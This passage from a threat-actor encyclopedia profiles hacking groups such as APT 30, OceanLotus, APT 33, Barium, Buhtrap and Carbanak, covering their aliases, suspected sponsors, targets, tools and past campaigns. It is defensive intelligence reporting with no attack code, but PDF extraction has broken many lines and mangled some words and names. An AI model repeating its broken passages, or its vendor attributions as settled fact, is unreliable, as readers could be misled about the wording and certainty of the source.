+APT 30 (Mandiant) +Override Panda (CrowdStrik) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +APT 30 is a threat group suspected to be associated with the Chinese +government. While Naikon shares some characteristics with APT 30, the two +groups do not appear to be exact matches. +(FireEye) When our Singapore-based FireEye labs team examined malware +aimed predominantly at entities in Southeast Asia and India, we suspected that +we were peering into a regionally focused cyber espionage operation. The +malware revealed a decade-long operation focused on targets +government and +commercial +who hold key political, economic, and military information about the +region. This group, who we call APT30, stands out not only for their sustained +activity and regional focus, but also for their continued success despite +maintaining relatively consistent tools, tactics, and infrastructure since at least +2005. +Based on our knowledge of APT30's targeting activity and tools, their objective +appears to be data theft as opposed to financial gain. APT30 has not been +observed to target victims or data that can be readily monetized (for example, +credit card data, personally identifiable information, or bank transfer credentials). +Instead, their tools include functionality that allows them to identify and steal +documents, including what appears to be an interest in documents that may be +stored on air-gapped networks. +The group expresses a distinct interest in organizations and governments +associated with ASEAN, particularly so around the time of official ASEAN +meetings. +Many of APT30 +s decoy documents use topics related to Southeast Asia, India, +border areas, and broader security and diplomatic issues. Decoy documents +attached to spear phishing emails are frequently indicators of intended targeting +because threat actors generally tailor these emails to entice their intended targets +who typically work on related issues +to click on the attachments and infect +themselves. +In addition to APT30 +s Southeast Asia and India focus, we +ve observed APT30 +target journalists reporting on issues traditionally considered to be focal points for +the Chinese Communist Party +s sense of legitimacy, such as corruption, the +economy, and human rights. In China, the Communist Party has the ultimate +authority over the government. China-based threat groups have targeted +journalists before; we believe they often do so to get a better understanding on +developing stories to anticipate unfavorable coverage and better position +themselves to shape public messaging. +Observed +Sectors: Defense, Government and ASEAN. +Countries: Bhutan, Brunei, Cambodia, India, Indonesia, Japan, Laos, Malaysia, +Myanmar, Nepal, Philippines, Saudi Arabia, Singapore, South Korea, Thailand, +Vietnam and USA. +Threat Group Cards: A Threat Actor Encyclopedia +Tool used +BACKBEND, BACKSPACE, CREAMSICLE, FLASHFLOOD, GEMCUTTER, +MILKMAID, NETEAGLE, ORANGEADE, SHIPSHAPE and SPACESHIP. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +APT 32, OceanLotus, SeaLotus +Names +APT 32 (Mandiant) +OceanLotus (SkyEye Labs) +SeaLotus +APT-C-00 (360) +Ocean Buffalo (CrowdStrike) +Country +Vietnam +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(FireEye) Since at least 2014, FireEye has observed APT32 targeting foreign +corporations with a vested interest in Vietnam +s manufacturing, consumer products, +and hospitality sectors. Furthermore, there are indications that APT32 actors are +targeting peripheral network security and technology infrastructure corporations. +In addition to focused targeting of the private sector with ties to Vietnam, APT32 +has also targeted foreign governments, as well as Vietnamese dissidents and +journalists since at least 2013. +Observed +Sectors: Government, Hospitality, Manufacturing, Retail, dissidents, journalists and +ASEAN. +Countries: Australia, Brunei, Cambodia, China, Germany, Indonesia, Laos, +Malaysia, Myanmar, Philippines, Singapore, Thailand, USA and Vietnam. +Tool used +CACTUSTORCH, Cobalt Strike, Cuegoe, Denis, fingerprintjs2, Goopy, KerrDown, +KOMPROGO, Mimikatz, Nishang, OSX_OCEANLOTUS.D, PHOREAL, +PowerSploit, Salgorea, SOUNDBITE, Terracotta VPN, WINDSHIELD and 0-day +exploits in MS Office. +Operations +performed +Aug 2015 +Terracotta VPN +Dubbed by RSA as +Terracotta VPN + (a reference to the Chinese +Terracotta Army), this satellite array of VPN services +may represent +the first exposure of a PRC-based VPN operation that maliciously, +efficiently and rapidly enlists vulnerable servers around the world, + the +company said in a report released today. + +Mar 2017 +Breach of the ASEAN website +Steven Adair, founder and CEO, said the hacking group was still +active, and had compromised the website of the Association of South +East Asian Nations (ASEAN) over several high-profile summit +meetings. ASEAN is holding another summit of regional leaders in the +Philippines capital Manila this week. + +May 2017 +Operation +Cobalt Kitty +Dubbed Operation Cobalt Kitty, the APT targeted a global corporation +based in Asia with the goal of stealing proprietary business +information. The threat actor targeted the company +s top-level +management by using spear-phishing attacks as the initial penetration +vector, ultimately compromising the computers of vice presidents, +senior directors and other key personnel in the operational +Threat Group Cards: A Threat Actor Encyclopedia +departments. During Operation Cobalt Kitty, the attackers +compromised more than 40 PCs and servers, including the domain +controller, file servers, Web application server and database server. + +May 2017 +Mass Digital Surveillance and Attacks Targeting ASEAN, Asian +Nations, the Media, Human Rights Groups, and Civil Society +In May 2017, Volexity identified and started tracking a very +sophisticated and extremely widespread mass digital surveillance and +attack campaign targeting several Asian nations, the ASEAN +organization, and hundreds of individuals and organizations tied to +media, human rights and civil society causes. These attacks are being +conducted through numerous strategically compromised websites and +have occurred over several high-profile ASEAN summits. + +Early +2018 +KerrDown downloader +We identified two methods to deliver the KerrDown downloader to +targets. One is using the Microsoft Office Document with a malicious +macro and the other is RAR archive which contains a legitimate +program with DLL side-loading. For RAR archive files, the file names +used to trick targets are all in Vietnamese as shown in Figure 11. Our +analysis shows that the primary targets of the ongoing campaign +discussed in this blog are either in Vietnam or Vietnamese speaking +individuals. + +Mar 2018 +OceanLotus ships new backdoor using old tricks + +Apr 2018 +New MacOS Backdoor +The MacOS backdoor was found in a malicious Word document +presumably distributed via email. The document bears the filename +2018-PHI +U GHI DANH THAM D +NH H +I HMDC 2018.doc, +which translates to +2018-REGISTRATION FORM OF HMDC +ASSEMBLY 2018.doc. + The document claims to be a registration form +for an event with HDMC, an organization in Vietnam that advertises +national independence and democracy. + +Apr 2018 +Steganography to Shroud Payloads +The OceanLotus APT is using two new loaders which use +steganography to read their encrypted payloads. + +May 2018 +Watering Hole Attack using the Phnom Penh Post website +The attack started just days after Australian mining magnate Bill +Clough sold the newspaper to Malaysian spin doctor Sivakumar +Ganapathy, who specializes in +covert PR +Since last Tuesday [May 8], computers in our office were targeted by +a malicious piece of code when we visited the Phnom Penh Post +Threat Group Cards: A Threat Actor Encyclopedia +website, + said Naly Pilorge, director of Licadho + one of Cambodia +leading human rights groups. + +Mid-2018 +Equation Editor exploit +In mid-2018, OceanLotus carried out a campaign using documents +abusing the weakness exposed by the CVE-2017-11882 vulnerability. +Indeed, several Proofs-of-Concept were made available. The +vulnerability resides in the component responsible for rendering and +editing mathematical equations. + +Sep 2018 +Watering Hole Attack in Southeast Asia +ESET researchers have discovered a new watering hole campaign +targeting several websites in Southeast Asia, and that is believed to +have been active since September 2018. This campaign stands out +because of its large scale, as we were able to identify 21 +compromised websites, some of which are particularly notable. +Among the compromised websites were the Ministry of Defense of +Cambodia, the Ministry of Foreign Affairs and International +Cooperation of Cambodia and several Vietnamese newspaper or blog +websites. + +Jan 2019 +Self-Extracting archives +After using RTF files, the group started using self-extracting (SFX) +archives that use common document icons in an attempt to further +mislead their victims. It was briefly documented by Threatbook (in +Chinese). When run, these self-extracting RAR files drop and execute +DLL files (with a .ocx extension) with the final payload being the +previously documented {A96B020F-0000-466F-A96DA91BBF8EAC96}.dll. Since the middle of January 2019, OceanLotus +began reusing the technique but changed some configuration over +time. +Mar 2019 +macOS malware update +Early in March 2019, a new macOS malware sample from the +OceanLotus group was uploaded to VirusTotal, a popular online multiscanner service. This backdoor executable bears the same features +as the previous macOS variant we looked at, but its structure has +changed and its detection was made harder. Unfortunately, we +couldn +t find the dropper associated with this sample so we do not +know the initial compromise vector. + +Mar 2019 +Malicious macro armed documents likely targeting ASEAN affairs and +meeting members. Telemetry and spreading statistics related to these +decoy documents highlight their diffusion in the geographical area of +Thailand. + +Mar 2019 +Breach of Toyota in Australia, Japan, Thailand and Vietnam +Threat Group Cards: A Threat Actor Encyclopedia +Toyota said the servers that hackers accessed stored sales +information on up to 3.1 million customers. The carmaker said there +an ongoing investigation to find out if hackers exfiltrated any of the +data they had access to. + +May 2019 +Attacks to Indochinese Peninsula +In this report, we share our summary of the latest attack techniques, +attack payloads and related attacks of the OceanLotus, hoping that we +can jointly improve understanding of OceanLotus group, an extremely +active APT group. + +Information + + + + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +APT 33, Elfin +Names +APT 33 (Mandiant) +Elfin (Symantec) +Magnallium (Dragos) +Country +Iran +Sponsor +State-sponsored +Motivation +Information theft, espionage and sabotage +Description +(FireEye) When discussing suspected Middle Eastern hacker groups with +destructive capabilities, many automatically think of the suspected Iranian group +that previously used SHAMOON + aka Disttrack + to target organizations in the +Persian Gulf. However, over the past few years, we have been tracking a separate, +less widely known suspected Iranian group with potential destructive capabilities, +whom we call APT33. Our analysis reveals that APT33 is a capable group that has +carried out cyber espionage operations since at least 2013. We assess APT33 +works at the behest of the Iranian government. +APT33 has targeted organizations + spanning multiple industries + headquartered +in the United States, Saudi Arabia and South Korea. APT33 has shown particular +interest in organizations in the aviation sector involved in both military and +commercial capacities, as well as organizations in the energy sector with ties to +petrochemical production. +APT 33 seems to be closely related to OilRig, APT 34, Helix Kitten. +Observed +Sectors: Aviation, Defense, Energy, Petrochemical and others. +Countries: Saudi Arabia, South Korea and USA. +Tools used +AutoIt backdoor, DarkComet, DROPSHOT, Empire, LaZagne, Mimikatz, NanoCore +RAT, NETWIRE RC, PoshC2, PowerSploit, POWERTON, PupyRAT, QuasarRAT, +Remcos, Ruler, Shamoon, SHAPESHIFT and TURNEDUP. +Mar 2019 +Attacks on Multiple Organizations in Saudi Arabia and U.S. +The Elfin espionage group (aka APT33) has remained highly active +over the past three years, attacking at least 50 organizations in Saudi +Arabia, the United States, and a range of other countries. + +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Axiom, Group 72 +Names +Axiom (Novetta) +Group 72 (Talos) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(Talos) Group 72 is a long standing threat actor group involved in Operation SMN, +named Axiom by Novetta. The group is sophisticated, well funded, and possesses +an established, defined software development methodology. The group targets high +profile organizations with high value intellectual property in the manufacturing, +industrial, aerospace, defense, media sectors. Geographically, the group almost +exclusively targets organizations based in United States, Japan, Taiwan, and +Korea. The preferred tactics of the group include watering-hole attacks, spearphishing, and other web-based tactics. +The tools and infrastructure used by the attackers are common to a number of other +threat actor groups which may indicate some degree of overlap. We have seen +similar patterns used in domain registration for malicious domains, and the same +tactics used in other threat actor groups leading us to believe that this group may +be part of a larger organization that comprises many separate teams, or that +different groups share tactics, code and personnel from time to time. +Though both this group and Winnti Group, Blackfly, Wicked Panda use the malware +Winnti, the two groups appear to be distinct based on differences in reporting on +the groups + TTPs and targeting. +Observed +Sectors: High profile organizations with high value intellectual property in +Aerospace, Defense, Industrial, Manufacturing and Media. +Countries: Japan, South Korea, Taiwan and USA. +Tools used +Cobalt Strike, DeputyDog, Derusbi, Gh0st RAT, Hikit, HydraQ, PlugX, Poison Ivy, +ShadowPad Winnti and ZXShell. +Operations +performed +20082014 +Information + + +MITRE ATT&CK + +Operation +Axiom is responsible for directing highly sophisticated cyberespionage +against numerous Fortune 500 companies, journalists, environmental +groups, pro-democracy groups, software companies, academic +institutions and government agencies worldwide for at least the last six +years. In our coordinated effort, we performed the first ever-private +sponsored interdiction against a sophisticated state sponsored +advanced threat group. Our efforts detected and cleaned 43,000 +separate installations of Axiom tools, including 180 of their top tier +implants. + +Threat Group Cards: A Threat Actor Encyclopedia +Bahamut +Names +Bahamut (Bellingcat) +Country +[Middle East] +Motivation +Information theft and espionage +Description +(Bellingcat) Bahamut was first noticed when it targeted a Middle Eastern human +rights activist in the first week of January 2017. Later that month, the same tactics +and patterns were seen in attempts against an Iranian women +s activist +individual commonly targeted by Iranian actors, such as Charming Kitten, +Newscaster, NewsBeef and the Sima campaign documented in our 2016 Black Hat +talk. Recurrent patterns in hostnames, registrations, and phishing scripts provided a +strong link between the two incidents, and older attempts were found that directly +overlapped with these attacks. Over the course of the following months, several +more attempts against the same individuals were observed, intended to steal +credentials for iCloud and Gmail accounts. +Bahamut was also observed engaging in reconnaissance and counterreconnaissance attempts, intended to harvest IP addresses of emails accounts. +One attempt impersonated BBC News Alerts, using timely content related to the +diplomatic conflict between Qatar and other Gulf states as bait. This message used +external images embedded in the email to track where the lure would be opened. +Observed +Sectors: Political, economic and social. +Countries: Egypt, Iran, Palestine, Qatar, Tunisia, Turkey and UAE. +Tools used +Bahamut and DownPaper. +Operations +performed +Dec 2016 +Beginning in December 2016, unconnected Middle Eastern human +rights activists began to receive spear-phishing messages in English +and Persian that were not related to any previously-known groups. +These attempts differed from other tactics seen by us elsewhere, such +as those connected to Iran, with better attention paid to the operation +of the campaign. + +Oct 2017 +For three months there was no apparent further activity from the actor. +However, in the same week of September a series of spear-phishing +attempts once again targeted a set of otherwise unrelated individuals, +employing the same tactics as before. Bahamut remains active, and +its operations are more extensive than first disclosed. + +Jun 2018 +Cisco Talos has identified a highly targeted campaign against 13 +iPhones which appears to be focused on India. The attacker deployed +an open-source mobile device management (MDM) system to control +enrolled devices. + +Jul 2018 +The Bahamut group was discovered and detailed by Bellingcat, an +open-source news website. In this post, the author was discussing +Android-based malware with some similarities to the iOS malware we +Threat Group Cards: A Threat Actor Encyclopedia +identified. That post kickstarted our investigation into any potential +overlap between these campaigns and how they are potentially linked. +The new MDM platform we identified has similar victimology with +Middle Eastern targets, namely Qatar, using a U.K. mobile number +issued from LycaMobile. Bahamut targeted similar Qatar-based +individuals during their campaign. + +Threat Group Cards: A Threat Actor Encyclopedia +Barium +Names +Barium (Microsoft) +Country +China +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(Microsoft) Barium begins its attacks by cultivating relationships with potential +victims +particularly those working in Business Development or Human +Resources +on various social media platforms. Once Barium has established +rapport, they spear-phish the victim using a variety of unsophisticated malware +installation vectors, including malicious shortcut (.lnk) files with hidden payloads, +compiled HTML help (.chm) files, or Microsoft Office documents containing macros +or exploits. Initial intrusion stages feature the Win32/Barlaiy implant +notable for its +use of social network profiles, collaborative document editing sites, and blogs for +C&C. Later stages of the intrusions rely upon Winnti for persistent access. The +majority of victims recorded to date have been in electronic gaming, multimedia, +and Internet content industries, although occasional intrusions against technology +companies have occurred. +Observed +Sectors: Multimedia, Online video game companies and Technology. +Tools used +Barlaiy, Cobalt Strike, PlugXL and Winnti. +Operations +performed +Jul 2017 +ShadowPad is one of the largest known supply-chain attacks. Had it +not been detected and patched so quickly, it could potentially have +targeted hundreds of organizations worldwide. + +Jun 2018 +Operation +ShadowHammer +A supply-chain attack dubbed +Operation ShadowHammer + has been +uncovered, targeting users of the ASUS Live Update Utility with a +backdoor injection. The China-backed BARIUM APT is suspected to +be at the helm of the project. +According to Kaspersky Lab, the campaign ran from June to at least +November 2018 and may have impacted more than a million users +worldwide + though the adversaries appear to have been after specific +victims in Asia. + +Sep 2018 +CCleaner supply-chain attack +Talos recently observed a case where the download servers used by +software vendor to distribute a legitimate software package were +leveraged to deliver malware to unsuspecting victims. For a period of +time, the legitimate signed version of CCleaner 5.33 being distributed +by Avast also contained a multi-stage malware payload that rode on +top of the installation of CCleaner. + +Counter +operations +Microsoft Asks Judge to Take Down Barium Hackers (2017) + +Threat Group Cards: A Threat Actor Encyclopedia +Information + + + +Threat Group Cards: A Threat Actor Encyclopedia +Berserk Bear, Dragonfly 2.0 +Names +Berserk Bear (CrowdStrike) +Dragonfly 2.0 (Symantec) +Dymalloy (Dragos) +Country +Russia +Motivation +Sabotage and destruction +Description +Dragonfly 2.0 is a suspected Russian group that has targeted government entities +and multiple U.S. critical infrastructure sectors since at least March 2016. There is +debate over the extent of overlap between Dragonfly 2.0 and Energetic Bear, +Dragonfly, but there is sufficient evidence to lead to these being tracked as two +separate groups. +Observed +Sectors: Energy. +Countries: Germany, Switzerland and Turkey and USA. +Tools used +Bitsadmin, Goodor, Impacket, Karagany and Phisherly. +Operations +performed +Dec 2015 +Symantec has evidence indicating that the Dragonfly 2.0 campaign +has been underway since at least December 2015 and has identified a +distinct increase in activity in 2017. + +May 2017 +Attack on nuclear facilities in the US +Since May, hackers have been penetrating the computer networks of +companies that operate nuclear power stations and other energy +facilities, as well as manufacturing plants in the United States and +other countries. +Among the companies targeted was the Wolf Creek Nuclear +Operating Corporation, which runs a nuclear power plant near +Burlington, Kan., according to security consultants and an urgent joint +report issued by the Department of Homeland Security and the +Federal Bureau of Investigation last week. + + +May 2017 +Attacks on critical infrastructure and energy companies around the +world +Since at least May 2017, Talos has observed attackers targeting +critical infrastructure and energy companies around the world, +primarily in Europe and the United States. These attacks target both +the critical infrastructure providers, and the vendors those providers +use to deliver critical services. Attacks on critical infrastructure are not +a new concern for security researchers, as adversaries are keen to +understand critical infrastructure ICS networks for reasons unknown, +but surely nefarious. + + +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Blackgear +Names +Blackgear (Trend Micro) +Topgear +Country +China +Motivation +Information theft and espionage +Description +(Trend Micro) Blackgear is an espionage campaign which has targeted users in +Taiwan for many years. Multiple papers and talks have been released covering this +campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It +is known for using blogs and microblogging services to hide the location of its +actual command-and-control (C&C) servers. This allows an attacker to change the +C&C server used quickly by changing the information in these posts. +Like most campaigns, Blackgear has evolved over time. Our research indicates that +it has started targeting Japanese users. Two things led us to this conclusion: first, +the fake documents that are used as part of its infection routines are now in +Japanese. Secondly, it is now using blogging sites and microblogging services +based in Japan for its C&C activity. +Observed +Countries: Japan, South Korea and Taiwan. +Tools used +Comnie, Elirks and Protux. +Operations +performed +Jul 2018 +Information + +Resurfaces, Abuses Social Media for C&C Communication + +Threat Group Cards: A Threat Actor Encyclopedia +BlackOasis +Names +BlackOasis (Kaspersky) +Country +[Middle East] +Motivation +Information theft and espionage +Description +BlackOasis is a Middle Eastern threat group that is believed to be a customer of +Gamma Group. The group has shown interest in prominent figures in the United +Nations, as well as opposition bloggers, activists, regional news correspondents, +and think tanks. A group known by Microsoft as Neodymium is reportedly +associated closely with BlackOasis operations, but evidence that the group names +are aliases has not been identified. +Observed +Sectors: Media, Think Tanks, activists and the UN. +Countries: Afghanistan, Angola, Bahrain, Iran, Iraq, Jordan, Libya, Netherlands, +Nigeria, Russia, Saudi Arabia, Tunisia and UK. +Tools used +FinFisher, FinSpy, WingBird and 0-day vulnerabilities in Flash. +Operations +performed +Jun 2015 +Leveraging data from Kaspersky Security Network, we identified two +other similar exploit chains used by BlackOasis in June 2015 which +were zero days at the time. Those include CVE-2015-5119 and CVE2016-0984, which were patched in July 2015 and February 2016 +respectively. These exploit chains also delivered FinSpy installation +packages. + +May 2016 +We first became aware of BlackOasis + activities in May 2016, while +investigating another Adobe Flash zero day. On May 10, 2016, Adobe +warned of a vulnerability (CVE-2016-4117) affecting Flash Player +21.0.0.226 and earlier versions for Windows, Macintosh, Linux, and +Chrome OS. The vulnerability was actively being exploited in the wild. +Sep 2017 +FireEye recently detected a malicious Microsoft Office RTF document +that leveraged CVE-2017-8759, a SOAP WSDL parser code injection +vulnerability. This vulnerability allows a malicious actor to inject +arbitrary code during the parsing of SOAP WSDL definition contents. + +Oct 2017 +On October 10, 2017, Kaspersky Lab +s advanced exploit prevention +systems identified a new Adobe Flash zero day exploit used in the +wild against our customers. The exploit was delivered through a +Microsoft Office document and the final payload was the latest version +of FinSpy malware. + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +BlackTech +Names +BlackTech (Trend Micro) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Trend Micro) BlackTech is a cyber espionage group operating against targets in +East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on +the mutexes and domain names of some of their C&C servers, BlackTech +campaigns are likely designed to steal their target +s technology. +Following their activities and evolving tactics and techniques helped us uncover the +proverbial red string of fate that connected three seemingly disparate campaigns: +PLEAD, Shrouded Crossbow, and of late, Waterbear. +Observed +Sectors: Financial, Government, Healthcare and Technology +Countries: Hong Kong, Japan and Taiwan. +Tools used +BIFROST, DRIGO, KIVARS, PLEAD and XBOW. +Operations +performed +2010 +Operation +Shrouded Crossbow +This campaign, first observed in 2010, is believed to be operated by a +well-funded group given how it appeared to have purchased the +source code of the BIFROST backdoor, which the operators enhanced +and created other tools from. Shrouded Crossbow targeted privatized +agencies and government contractors as well as enterprises in the +consumer electronics, computer, healthcare, and financial industries. + +2012 +Operation +PLEAD +PLEAD is an information theft campaign with a penchant for +confidential documents. Active since 2012, it has so far targeted +Taiwanese government agencies and private organizations. +2014 +Operation +Waterbear +Waterbear has actually been operating for a long time. The +campaign +s name is based on its malware +s capability to equip +additional functions remotely. +Jul 2018 +ESET researchers have discovered a new malware campaign +misusing stolen digital certificates. +We spotted this malware campaign when our systems marked several +files as suspicious. Interestingly, the flagged files were digitally signed +using a valid D-Link Corporation code-signing certificate. The exact +same certificate had been used to sign non-malicious D-Link software; +therefore, the certificate was likely stolen. + +Apr 2019 +At the end of April 2019, ESET researchers utilizing ESET telemetry +observed multiple attempts to deploy Plead malware in an unusual +way. Specifically, the Plead backdoor was created and executed by a +legitimate process named AsusWSPanel.exe. This process belongs to +the Windows client for a cloud storage service called ASUS +WebStorage. +Threat Group Cards: A Threat Actor Encyclopedia + +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Blind Eagle +Names +Blind Eagle (360) +APT-C-36 (360) +Country +[Latin America] +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(360) Since April 2018, an APT group (Blind Eagle, APT-C-36) suspected coming +from South America carried out continuous targeted attacks against Colombian +government institutions as well as important corporations in financial sector, +petroleum industry, professional manufacturing, etc. +Till this moment, 360 Threat Intelligence Center captured 29 bait documents, 62 +Trojan samples and multiple related malicious domains in total. Attackers are +targeting Windows platform and aiming at government institutions as well as big +companies in Colombia. +Observed +Sectors: Financial, Government and large domestic companies and multinational +corporation branches. +Countries: Colombia. +Tools used +Imminent Monitor RAT. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Blue Termite, Cloudy Omega +Names +Blue Termite (Kaspersky) +Cloudy Omega (Symantec) +Country +China +Motivation +Information theft and espionage +Description +(Kaspersky) In October 2014, Kaspersky Lab started to research +Blue Termite +, an +Advanced Persistent Threat (APT) targeting Japan. The oldest sample we +ve seen +up to now is from November 2013. +This is not the first time the country has been a victim of an APT. However, the +attack is different in two respects: unlike other APTs, the main focus of Blue Termite +is to attack Japanese organizations; and most of their C2s are located in Japan. +One of the top targets is the Japan Pension Service, but the list of targeted +industries includes government and government agencies, local governments, +public interest groups, universities, banks, financial services, energy, +communication, heavy industry, chemical, automotive, electrical, news media, +information services sector, health care, real estate, food, semiconductor, robotics, +construction, insurance, transportation and so on. Unfortunately, the attack is still +active and the number of victims has been increasing. +Observed +Sectors: Automotive, Chemical, Construction, Education, Energy, Financial, Food +and Agriculture, Government, Healthcare, High-Tech, Industry, IT, Media, Real +estate, Telecommunications, Transportation and several others. +Countries: Japan. +Tools used +Emdivi and 0-days from the Hacking Team breach. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Bookworm +Names +Bookworm (Palo Alto) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Palo Alto) Threat actors have delivered Bookworm as a payload in attacks on +targets in Thailand. Readers who are interested in this campaign should start with +our first blog that lays out the overall functionality of the malware and introduces its +many components. +Unit 42 does not have detailed targeting information for all known Bookworm +samples, but we are aware of attempted attacks on at least two branches of +government in Thailand. We speculate that other attacks delivering Bookworm were +also targeting organizations in Thailand based on the contents of the associated +decoys documents, as well as several of the dynamic DNS domain names used to +host C2 servers that contain the words +Thai + or +Thailand +. Analysis of +compromised systems seen communicating with Bookworm C2 servers also +confirms our speculation on targeting with a majority of systems existing within +Thailand. +Observed +Sectors: Government. +Countries: Thailand. +Tools used +Bookworm, FFRAT, Poison Ivy, PlugX and Scieron. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Bronze Butler, Tick +Names +Bronze Bulter (SecureWorks) +Tick (Symantec) +RedBaldNight (Trend Micro) +Country +China +Motivation +Information theft and espionage +Description +(SecureWorks) CTU analysis indicates that Bronze Bulter primarily targets +organizations located in Japan. The threat group has sought unauthorized access +to networks of organizations associated with critical infrastructure, heavy industry, +manufacturing, and international relations. Secureworks analysts have observed +Bronze Bulter exfiltrating the following categories of data: +Intellectual property related to technology and development +Product specification +Sensitive business and sales-related information +Network and system configuration files +Email messages and meeting minutes +The focus on intellectual property, product details, and corporate information +suggests that the group seeks information that they believe might be of value to +competing organizations. The diverse targeting suggests that Bronze Bulter may be +tasked by multiple teams or organizations with varying priorities. +Observed +Sectors: Critical infrastructure, Defense, Government, Industry, International +relations, Manufacturing and Technology. +Countries: China, Japan, Russia, Singapore and South Korea. +Tools used +Daserf, Datper, gsecdump, Mimikatz, Minzen, Muirim, Nioupale, rarstar, Windows +Credential Editor and xxmm. +Information + + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Buhtrap +Names +Buhtrap (Group-IB) +Country +Russia +Motivation +Financial gain +Description +(Group-IB) Buhtrap has been active since 2014, however their first attacks against +financial institutions were only detected in August 2015. Earlier, the group had only +focused on targeting banking clients. At the moment, the group is known to target +Russian and Ukrainian banks. +From August 2015 to February 2016 Buhtrap managed to conduct 13 successful +attacks against Russian banks for a total amount of 1.8 billion rubles ($25.7 mln). +The number of successful attacks against Ukrainian banks has not been identified. +Buhtrap is the first hacker group using a network worm to infect the overall bank +infrastructure that significantly increases the difficulty of removing all malicious +functions from the network. As a result, banks have to shut down the whole +infrastructure which provokes delay in servicing customers and additional losses. +Malicious programs intentionally scan for machines with an automated BankCustomer system of the Central Bank of Russia (further referred to as BCS CBR). +We have not identified incidents of attacks involving online money transfer systems, +ATM machines or payment gates which are known to be of interest for other +criminal groups. +Observed +Sectors: Financial. +Countries: Russia and Ukraine. +Tools used +AmmyyRAT, Buhtrap, Niteris EK, NSIS and Ratopak. +Operations +performed +2014 +On October 20, 2014 we notified Group-IB Bot-Trek Intelligence +subscribers about phishing emails which were sent from the +info@beeline-mail.ru address with the subject +Invoice No 522375 +-14-115 + (pic. 1). The beeline-mail.ru domain name was also +registered on October 20, 2014. + +Oct 2015 +We noticed in late October that users visiting the Ammyy website to +download the free version of its remote administrator software were +being served a bundle containing not only the legitimate Remote +Desktop Software Ammyy Admin, but also an NSIS (Nullsoft +Scriptable Installation Software) installer ultimately intended to install +the tools used by the Buhtrap gang to spy on and control their victims +computers. + +Dec 2015 +In December 2015, employees from several Russian banks were +targeted with spoofed emails, a common technique in attack +campaigns. The emails were made to look like they were from the +Central Bank of Russia and offered employment to their recipients. +Instead of being an actual employment offer, the emails were an +attempt to deliver Trojan.Ratopak onto the target +s computer. + +Threat Group Cards: A Threat Actor Encyclopedia +Information +Sep 2016 +Breach of the Russian boxing side allboxing[.].ru + +2017 +Operation +TwoBee +Buhtrap resurfaced in the beginning of 2017 in the TwoBee campaign, +where it served primarily as means of malware delivery. In March of +last year, it hit the news (literally), spreading through several +compromised major news outlets in whose main pages malicious +actors implanted scripts. This scripts executed an exploit for Internet +Explorer in visitor +s browsers. + + + +Threat Group Cards: A Threat Actor Encyclopedia +Cadelle +Names +Cadelle (Symantec) +Country +Iran +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(Symantec) Symantec telemetry identified Cadelle and +Chafer, APT 39 activity dating from as far back as July 2014, however, it +s likely +that activity began well before this date. Command-and-control (C&C) registrant +information points to activity possibly as early as 2011, while executable +compilation times suggest early 2012. Their attacks continue to the present day. +Symantec estimates that each team is made up of between 5 and 10 people. +There is evidence to suggest that the two teams may be connected in some way, +though we cannot confirm this. A number of computers experienced both Cadelspy +and Remexi infections within a small time window. In one instance, a computer was +compromised with Backdoor.Cadelspy just minutes after being infected with +Backdoor.Remexi. The Cadelle and Chafer groups also keep the same working +hours and focus on similar targets. However, no sharing of C&C infrastructure +between the teams has been observed. +If Cadelle and Chafer are not directly linked, then they may be separately working +for a single entity. Their victim profile may be of interest to a nation state. +Observed +Countries: Germany, Iran, Iraq, Netherlands, Pakistan, Saudi Arabia, Singapore, +Sudan, Tajikistan, Thailand, Turkey, UAE, UK and USA. +Tools used +ANTAK and Cadelspy. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Callisto Group +Names +Callisto Group (F-Secure) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(F-Secure) The most obvious common theme between all known targets of the +Callisto Group is an involvement in European foreign and security policy, whether +as a military or government official, being employed by a think tank, or working as a +journalist . More specifically, many of the known targets have a clear relation to +foreign and security policy involving both Eastern Europe and the South Caucasus. +This targeting suggests the Callisto Group is interested in intelligence gathering +related to foreign and security policy. Furthermore, we are unaware of any targeting +in the described attacks that would suggest a financial motive +It is worth noting that during our investigation we uncovered links between +infrastructure associated with the Callisto Group and infrastructure used to host +online stores selling controlled substances. While we don +t yet know enough to fully +understand the nature of these links, they do suggest the existence of connections +between the Callisto Group and criminal actors. +While the targeting would suggest that the main benefactor of the Callisto Group +activity is a nation state with specific interest in the Eastern Europe and South +Caucasus regions, the link to infrastructure used for the sale of controlled +substances hints at the involvement of a criminal element. Finally, the infrastructure +associated with the Callisto Group and related infrastructure contain links to at least +Russia, Ukraine, and China in both the content hosted on the infrastructure, and in +WHOIS information associated with the infrastructure. +It is possible to come up with a number of plausible theories to explain the above +findings. For example, a cybercrime group with ties to a nation state, such as acting +on behalf of or for the benefit of a government agency, is one potential explanation. +However, we do not believe it is possible to make any definitive assertions +regarding the nature or affiliation of the Callisto Group based on the currently +available information. +Observed +Sectors: Defense, Government, Think Tanks and journalists. +Countries: Europe and the South Caucasus. +Tools used +RCS Callisto. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Carbanak, Anunak +Names +Carbanak (Kaspersky) +Anunak (Group-IB) +Carbon Spider (CrowdStrike) +Country +Ukraine +Motivation +Financial gain +Description +Carbanak is a threat group that mainly targets banks. It also refers to malware of +the same name (Carbanak). It is sometimes referred to as FIN7, but these appear +to be two groups using the same Carbanak malware and are therefore tracked +separately. 